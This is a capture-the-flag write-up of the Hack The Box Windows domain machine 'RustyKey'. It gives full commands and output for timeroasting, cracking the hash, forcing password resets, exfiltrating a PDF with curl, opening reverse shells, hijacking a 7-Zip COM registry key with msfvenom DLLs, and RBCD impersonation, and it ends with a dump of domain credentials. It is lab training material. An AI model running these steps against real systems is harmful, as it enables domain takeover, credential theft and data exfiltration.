RustyKey
RustyKey
Box Credentials
As is common in real life Windows pentests, you will start the RustyKey box with credentials for the following account: rr.parker / 8#t5HE8L!W3A
Recon
Port Scanning
Script and Version scanning:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
sudo nmap -sC -sV -p53,88,135,139,389,445,464,593,636,5985,9389,47001 10.10.11.75
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-24 15:51 PKT
Nmap scan report for 10.10.11.75
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-24 18:26:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: rustykey.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h35m12s
| smb2-time:
| date: 2025-08-24T18:26:58
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 32.10 seconds
Be sure to run ntpdate, krb5conf.sh, and add the DC and domain to /etc/hosts.
Netexec
1
2
3
4
5
6
7
8
9
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ netexec ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' --users
LDAP 10.10.11.75 389 DC [*] None (name:DC) (domain:rustykey.htb)
LDAP 10.10.11.75 389 DC [-] rustykey.htb\rr.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ netexec smb 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' --shares
SMB 10.10.11.75 445 10.10.11.75 [*] x64 (name:10.10.11.75) (domain:10.10.11.75) (signing:True) (SMBv1:False) (NTLM:False)
SMB 10.10.11.75 445 10.10.11.75 [-] 10.10.11.75\rr.parker:8#t5HE8L!W3A STATUS_NOT_SUPPORTED
It seems like cleartext NTLM auth isn’t supported.
GetTGT
1
2
3
4
5
6
7
8
9
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ impacket-getTGT rustykey.htb/rr.parker
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Saving ticket in rr.parker.ccache
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ export KRB5CCNAME=rr.parker.ccache
We are able to use kerberos authentication now:
1
2
3
nxc ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k
LDAP 10.10.11.75 389 DC [*] None (name:DC) (domain:rustykey.htb)
LDAP 10.10.11.75 389 DC [+] rustykey.htb\rr.parker:8#t5HE8L!W3A
Enumerating users with LDAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nxc ldap 10.10.11.75 -u rr.parker -p '8#t5HE8L!W3A' -k --users
LDAP 10.10.11.75 389 DC [*] None (name:DC) (domain:rustykey.htb)
LDAP 10.10.11.75 389 DC [+] rustykey.htb\rr.parker:8#t5HE8L!W3A
LDAP 10.10.11.75 389 DC [*] Enumerated 11 domain users: rustykey.htb
LDAP 10.10.11.75 389 DC -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.10.11.75 389 DC Administrator 2025-06-05 03:52:22 0 Built-in account for administering the computer/domain
LDAP 10.10.11.75 389 DC Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.10.11.75 389 DC krbtgt 2024-12-27 05:53:40 0 Key Distribution Center Service Account
LDAP 10.10.11.75 389 DC rr.parker 2025-06-05 03:54:15 0
LDAP 10.10.11.75 389 DC mm.turner 2024-12-27 15:18:39 0
LDAP 10.10.11.75 389 DC bb.morgan 2025-08-24 23:46:40 0
LDAP 10.10.11.75 389 DC gg.anderson 2025-08-24 23:46:40 0
LDAP 10.10.11.75 389 DC dd.ali 2025-08-24 23:46:40 0
LDAP 10.10.11.75 389 DC ee.reed 2025-08-24 23:46:40 0
LDAP 10.10.11.75 389 DC nn.marcos 2024-12-27 16:34:50 0
LDAP 10.10.11.75 389 DC backupadmin 2024-12-30 05:30:18 0
There wasn’t much to go from here. I ran a UDP Scan and came across the following results:
UDP Scan (NTP Service)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo nmap -sU -F 10.10.11.75
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-25 00:32 PKT
Nmap scan report for rustykey.htb (10.10.11.75)
Host is up (0.19s latency).
Not shown: 92 closed udp ports (port-unreach)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
500/udp open|filtered isakmp
4500/udp open|filtered nat-t-ike
5353/udp open|filtered zeroconf
Nmap done: 1 IP address (1 host up) scanned in 132.56 seconds
There’s an interesting timeroasting attack associated with NTP protocol on UDP Port 123.
Tim Tervoort Timeroasting Giulio article Timeroasting
Timeroasting
Let’s attemtpt to timeroast:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
git clone https://github.com/SecuraBV/Timeroast.git
python3 timeroast.py 10.10.11.75
1000:$sntp-ms$7ebce55735129a3d09c24fd3a537e122$1c0111e900000000000a12134c4f434cec55e0f8408d3939e1b8428bffbfcd0aec55f8ccb484fe01ec55f8ccb4850d1a
1103:$sntp-ms$7c78bd6b8a92bd3b7b609da98b1bb5bd$1c0111e900000000000a12134c4f434cec55e0f8406a1a50e1b8428bffbfcd0aec55f8cd6c721acfec55f8cd6c726146
1104:$sntp-ms$fcfa034d69e7f21b7a7535b7d5ab43a5$1c0111e900000000000a12134c4f434cec55e0f8406adb40e1b8428bffbfcd0aec55f8cd6c72ee34ec55f8cd6c7319d3
1105:$sntp-ms$9017d8f7b081c481043f826e2fd11812$1c0111e900000000000a12134c4f434cec55e0f8408369ace1b8428bffbfcd0aec55f8cd6c8b8503ec55f8cd6c8ba691
1106:$sntp-ms$3afde72808b72df6a683591b80288a73$1c0111e900000000000a12134c4f434cec55e0f84089671ce1b8428bffbfcd0aec55f8cd6c918273ec55f8cd6c91a254
1107:$sntp-ms$0d4550161f347ffaaa406043edec8f46$1c0111e900000000000a12134c4f434cec55e0f840b237f6e1b8428bffbfcd0aec55f8cd6cba5856ec55f8cd6cba732d
1118:$sntp-ms$0c9adcf6b2b146977cf3c3f1644f450a$1c0111e900000000000a12134c4f434cec55e0f84083da14e1b8428bffbfcd0aec55f8cd789433ffec55f8cd78944318
1120:$sntp-ms$b25e7cd200961c345580ee3ee8d004d5$1c0111e900000000000a12134c4f434cec55e0f841fe8ee6e1b8428bffbfcd0aec55f8cd86170c8bec55f8cd86172e19
1119:$sntp-ms$f7a128f3310ea24b96cd25f63a653f66$1c0111e900000000000a12134c4f434cec55e0f841fccef3e1b8428bffbfcd0aec55f8cd86154287ec55f8cd861574dc
1121:$sntp-ms$b4ae497e0b188965a7b8219c4615bbbe$1c0111e900000000000a12134c4f434cec55e0f842146bc7e1b8428bffbfcd0aec55f8cd862cecc8ec55f8cd862d07a0
1122:$sntp-ms$1ba3505e44a421838df44fb799021fa2$1c0111e900000000000a12134c4f434cec55e0f842159817e1b8428bffbfcd0aec55f8cd862e176aec55f8cd862e374a
1123:$sntp-ms$da6f408b9c8fd9e59e006f71d94f64df$1c0111e900000000000a12134c4f434cec55e0f842233d1be1b8428bffbfcd0aec55f8cd863bbe1cec55f8cd863bd746
1124:$sntp-ms$10e091f9dd938ee28fc9df09e371809a$1c0111e900000000000a12134c4f434cec55e0f84251258ce1b8428bffbfcd0aec55f8cd86697e48ec55f8cd8669c4bf
1125:$sntp-ms$255d87325d08a0dc02207078b2cad3cd$1c0111e900000000000a12134c4f434cec55e0f83f99c38be1b8428bffbfcd0aec55f8cd87895223ec55f8cd87896b4e
1126:$sntp-ms$b580e21a5056152890dbc4ab9a642969$1c0111e900000000000a12134c4f434cec55e0f83f9a176de1b8428bffbfcd0aec55f8cd8789989aec55f8cd8789bf31
1127:$sntp-ms$c0dc339804cf68227733436d7bbc697a$1c0111e900000000000a12134c4f434cec55e0f8418b984fe1b8428bffbfcd0aec55f8cd91ac258dec55f8cd91ac7467
Outputs the resulting hashes in the hashcat format 31300 with the –username flag ("<RID>:$sntp-ms$<hash>$<salt>").
RID Enumeration (impacket-lookupsid)
To understand which hash belongs to what we do RID enumeration:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
kinit rr.parker@RUSTYKEY.HTB
Password for rr.parker@RUSTYKEY.HTB:
Warning: encryption type arcfour-hmac used for authentication is deprecated and will be disabled
impacket-lookupsid -k -no-pass -target-ip 10.10.11.75 dc.rustykey.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Brute forcing SIDs at dc.rustykey.htb
[*] StringBinding ncacn_np:dc.rustykey.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3316070415-896458127-4139322052
<SNIP>
1000: RUSTYKEY\DC$ (SidTypeUser)
1103: RUSTYKEY\Support-Computer1$ (SidTypeUser)
1104: RUSTYKEY\Support-Computer2$ (SidTypeUser)
1105: RUSTYKEY\Support-Computer3$ (SidTypeUser)
1106: RUSTYKEY\Support-Computer4$ (SidTypeUser)
1107: RUSTYKEY\Support-Computer5$ (SidTypeUser)
1118: RUSTYKEY\Finance-Computer1$ (SidTypeUser)
1119: RUSTYKEY\Finance-Computer2$ (SidTypeUser)
1120: RUSTYKEY\Finance-Computer3$ (SidTypeUser)
1121: RUSTYKEY\Finance-Computer4$ (SidTypeUser)
1122: RUSTYKEY\Finance-Computer5$ (SidTypeUser)
1123: RUSTYKEY\IT-Computer1$ (SidTypeUser)
1124: RUSTYKEY\IT-Computer2$ (SidTypeUser)
1125: RUSTYKEY\IT-Computer3$ (SidTypeUser)
1126: RUSTYKEY\IT-Computer4$ (SidTypeUser)
1127: RUSTYKEY\IT-Computer5$ (SidTypeUser)
<SNIP>
Dollar accounts like the report said so.
Hashcat
We run the SNTP hash format:
1
2
3
4
5
6
7
8
9
.\hashcat.exe -m 31300 -a 0 .\hash_\hash.txt .\hash_\rockyou.txt
Dictionary cache hit:
* Filename..: .\hash_\rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
$sntp-ms$255d87325d08a0dc02207078b2cad3cd$1c0111e900000000000a12134c4f434cec55e0f83f99c38be1b8428bffbfcd0aec55f8cd87895223ec55f8cd87896b4e:Rusty88!
For the account:
IT-COMPUTER3$:Rusty88!
Bloodhound
IT-COMPUTER3$ SelfAdd HELPDESK
This account can add itself to HELPDESK group.
GetTGT as IT-COMPUTER3$
1
2
3
4
impacket-getTGT rustykey.htb/'IT-COMPUTER3$':'Rusty88!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in IT-COMPUTER3$.ccache
1
2
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k add groupMember helpdesk 'IT-COMPUTER3$'
[+] IT-COMPUTER3$ added to helpdesk
Helpdesk Privileges
- Helpdesk can ForceChangePassword of:
- bb.morgan
- gg.anderson
- ee.reed
- dd.ali
- Helpdesk has GenericWrite over:
- dd.ali
- Helpdesk can AddMembers to Protected Objects.
Force Change Password
1
2
3
4
5
6
7
8
9
10
11
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password bb.morgan 'Password123!'
[+] Password changed successfully!
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password dd.ali 'Password123!'
[+] Password changed successfully!
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password ee.reed 'Password123!'
[+] Password changed successfully!
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password gg.anderson 'Password123!'
[+] Password changed successfully!
GetTGT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ impacket-getTGT rustykey.htb/'bb.morgan':'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ impacket-getTGT rustykey.htb/'dd.ali':'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in dd.ali.ccache
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ impacket-getTGT rustykey.htb/'ee.reed':'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_ETYPE_NOSUPP(KDC has no support for encryption type)
┌──(kali㉿vm-kali)-[~/htb/rustykey]
└─$ impacket-getTGT rustykey.htb/'gg.anderson':'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
We were only able to getTGT of dd.ali.
The members that weren’t a part of Protected Objects group failed to GetTGT. Let’s start by removing the group IT:
Foothold
Remove IT from Protected Objects
1
2
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'IT'
[-] IT removed from PROTECTED OBJECTS
GetTGT as bb.morgan
1
2
3
4
impacket-getTGT rustykey.htb/'bb.morgan':'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in bb.morgan.ccache
Now we have TGT of bb.morgan.
evil-winrm as bb.morgan
We will use kerberos auth for winrm:
1
2
3
4
5
6
7
8
9
10
11
KRB5CCNAME=bb.morgan.ccache evil-winrm -i dc.rustykey.htb -r rustykey.htb
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\bb.morgan\Documents>
There’s a PDF on bb.morgan’s desktop:
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> dir ..\Desktop\
Directory: C:\Users\bb.morgan\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/4/2025 9:15 AM 1976 internal.pdf
-ar--- 8/24/2025 12:06 PM 34 user.txt
Let’s exfil the pdf:
1
2
3
4
5
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> curl.exe -X POST -F 'files=@..\Desktop\internal.pdf' http://10.10.16.24:8000/upload
curl.exe : % Total % Received % Xferd Average Speed Time Time Time Current
+ CategoryInfo : NotSpecified: ( % Total % ... Time Current:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0100 2184
Internal Pdf
- “extended access has been temporarily granted” → some users (support group, maybe support@rustykey.htb) were given elevated rights they don’t normally have.
- “file archiving features across shared workstations” → this almost certainly refers to tools like WinRAR/7-Zip/Windows built-in compression, but more importantly, it suggests context menu shell extensions.
- “registry-level adjustments are expected” → means they’re editing Windows Registry to add/remove context menu entries. In AD, this is often tied to Group Policy or local ACLs.
- “This permission change is logged and will be rolled back” → temporary = but right now, those extra rights are still active.
Let’s see who is in Support group:
1
2
3
4
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> net group "Support" /domain
ee.reed
The command completed successfully.
ee.reed is our next target.
Remove Member Again
1
2
3
4
5
└─$ bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k remove groupMember 'PROTECTED OBJECTS' 'SUPPORT'
[-] SUPPORT removed from PROTECTED OBJECTS
bloodyAD --host dc.rustykey.htb -d rustykey.htb -u 'IT-COMPUTER3$' -p 'Rusty88!' -k set password ee.reed 'Password123!'
[+] Password changed successfully!
We can getTGT as ee.reed:
1
2
3
4
impacket-getTGT rustykey.htb/ee.reed:'Password123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in ee.reed.ccache
evil-winrm as ee.reed (FAIL)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
KRB5CCNAME=ee.reed.ccache evil-winrm -i dc.rustykey.htb -r rustykey.htb
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: Invalid token was supplied
Success
Error: Exiting with code 1
malloc_consolidate(): unaligned fastbin chunk detected
zsh: IOT instruction KRB5CCNAME=ee.reed.ccache evil-winrm -i dc.rustykey.htb -r rustykey.htb
Let’s do RunAsCs instead.
RunasCs ee.reed
1
2
3
4
5
6
7
8
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> curl http://10.10.16.24/RunasCs.exe -o runas.exe
*Evil-WinRM* PS C:\Users\bb.morgan\Documents> .\runas.exe ee.reed Password123! powershell.exe -r 10.10.16.24:1234
[*] Warning: User profile directory for user ee.reed does not exists. Use --force-profile if you want to force the creation.
[*] Warning: The logon for user 'ee.reed' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-12e52b0$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 7696 created in background.
We have a reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.75] 63778
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> whoami
whoami
rustykey\ee.reed
PS C:\Windows\system32> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Checking Registry
Our PDF talks about a file archiving feature, we will search what kinds of applications we have:
1
2
3
4
5
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select DisplayName DisplayName -----------
7-Zip 24.09 (x64)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.40.33816
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.40.33816
VMware Tools
Let’s query for 7z:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PS C:\Windows\system32> reg query "HKLM\SOFTWARE\Classes" /s /f 7-Zip
reg query "HKLM\SOFTWARE\Classes" /s /f 7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip.dll
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shellex\ContextMenuHandlers\7-Zip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip32.dll
End of search: 9 match(es) found.
Privilege Escalation
COM Hijacking
We will first query and find which CLSID is pointed to by the 7zip context menu:
1
2
3
4
reg query "HKLM\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip" /ve
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip
(Default) REG_SZ {23170F69-40C1-278A-1000-000100020000}
This tells us that whenever any user interacts with 7zip the context menu is triggered, which points to the CLSID, and the CLSID has:
1
2
3
4
5
6
7
8
9
reg query "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}" /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}
(Default) REG_SZ 7-Zip Shell Extension
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
(Default) REG_SZ C:\Program Files\7-Zip\7-zip.dll
ThreadingModel REG_SZ Apartment
this InprocServer32 dll. If we are able to write over this key, we can essentialy do COM Hijacking.
To confirm if we are allowed to write over this key:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
powershell -c "Get-Acl 'HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32' | Format-List"
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-0001000
20000}\InprocServer32
Owner : BUILTIN\Administrators
Group : RUSTYKEY\Domain Users
Access : APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
BUILTIN\Administrators Allow FullControl
CREATOR OWNER Allow FullControl
RUSTYKEY\Support Allow FullControl
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadKey
Audit :
Sddl : O:BAG:DUD:AI(A;CIID;KR;;;AC)(A;ID;KA;;;BA)(A;CIIOID;KA;;;CO)(A;CIID;KA;;;S-1-5-21-3316070415-896458127-4139322
052-1132)(A;CIID;KA;;;SY)(A;CIIOID;KA;;;BA)(A;CIID;KR;;;BU)
The group Support has FullControl over this key: RUSTYKEY\Support Allow FullControl
Metasploit
1
2
3
4
5
6
7
8
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=4444 -f dll -o evil.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: evil.dll
OR
1
2
3
4
5
6
7
8
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.24 LPORT=4446 -f dll -o evil.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 9216 bytes
Saved as: evil.dll
1
PS C:\Users\Public\Documents> curl http://10.10.16.24/evil.dll -o evil.dll
1
2
3
PS C:\Users\Public\Documents> reg add "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Users\Public\Documents\evil.dll" /f
reg add "HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32" /ve /d "C:\Users\Public\Documents\evil.dll" /f
The operation completed successfully.
From metasploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.16.24
LHOST => 10.10.16.24
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.24:4444
meterpreter > getuid
Server username: RUSTYKEY\mm.turner
meterpreter > shell
Process 2344 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows>
mm.turner
We can RBCD as mm.turner:
RBCD
The edge AddAllowedToAct → means that the group DELEGATIONMANAGER@RUSTYKEY.HTB has the right to modify the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the computer object DC.RUSTYKEY.HTB.
- As MM.TURNER, you add a computer account you control (or another machine account) into the AllowedToActOnBehalfOfOtherIdentity property of DC.RUSTYKEY.HTB.
- That lets your controlled machine impersonate any user (including domain admins) to the DC using S4U2Self/S4U2Proxy Kerberos abuse.
We already control IT-COMPUTER3$ we will use it for RBCD.
1
2
3
4
5
6
7
8
9
10
11
12
13
nc -lvnp 4446
listening on [any] 4446 ...
connect to [10.10.16.24] from (UNKNOWN) [10.10.11.75] 62433
Microsoft Windows [Version 10.0.17763.7434]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows>powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows> Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount IT-COMPUTER3$
Now to get the service ticker:
1
2
3
4
5
6
7
8
9
impacket-getST -spn 'cifs/DC.rustykey.htb' -impersonate 'backupadmin' 'rustykey.htb/IT-COMPUTER3$:Rusty88!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating backupadmin
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache
If you are thinking why backupadmin? why not the regular admin? We enumerated for users at the start and this was the High-value account we came across.
This account has GenericAll over pretty much everything. This account has too many privileges to even list or show picture of. You can do anything with this ticket.
Secretsdump (Not necessary)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
impacket-secretsdump -k -no-pass rustykey.htb/backupadmin@dc.rustykey.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x94660760272ba2c07b13992b57b432d4
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e3aac437da6f5ae94b01a6e5347dd920:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
RUSTYKEY\DC$:plain_password_hex:0c7fbe96b20b5afd1da58a1d71a2dbd6ac75b42a93de3c18e4b7d448316ca40c74268fb0d2281f46aef4eba9cd553bbef21896b316407ae45ef212b185b299536547a7bd796da250124a6bb3064ae48ad3a3a74bc5f4d8fbfb77503eea0025b3194af0e290b16c0b52ca4fecbf9cfae6a60b24a4433c16b9b6786a9d212c7aaefefa417fe33cc7f4dcbe354af5ce95f407220bada9b4d841a3aa7c6231de9a9ca46a0621040dc384043e19800093303e1485021289d8719dd426d164e90ee3db3914e3d378cc9e80560f20dcb64b488aa468c1b71c2bac3addb4a4d55231d667ca4ba2ad36640985d9b18128f7755b25
RUSTYKEY\DC$:aad3b435b51404eeaad3b435b51404ee:b266231227e43be890e63468ab168790:::
[*] DefaultPassword
RUSTYKEY\Administrator:Rustyrc4key#!
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3c06efaf194382750e12c00cd141d275522d8397
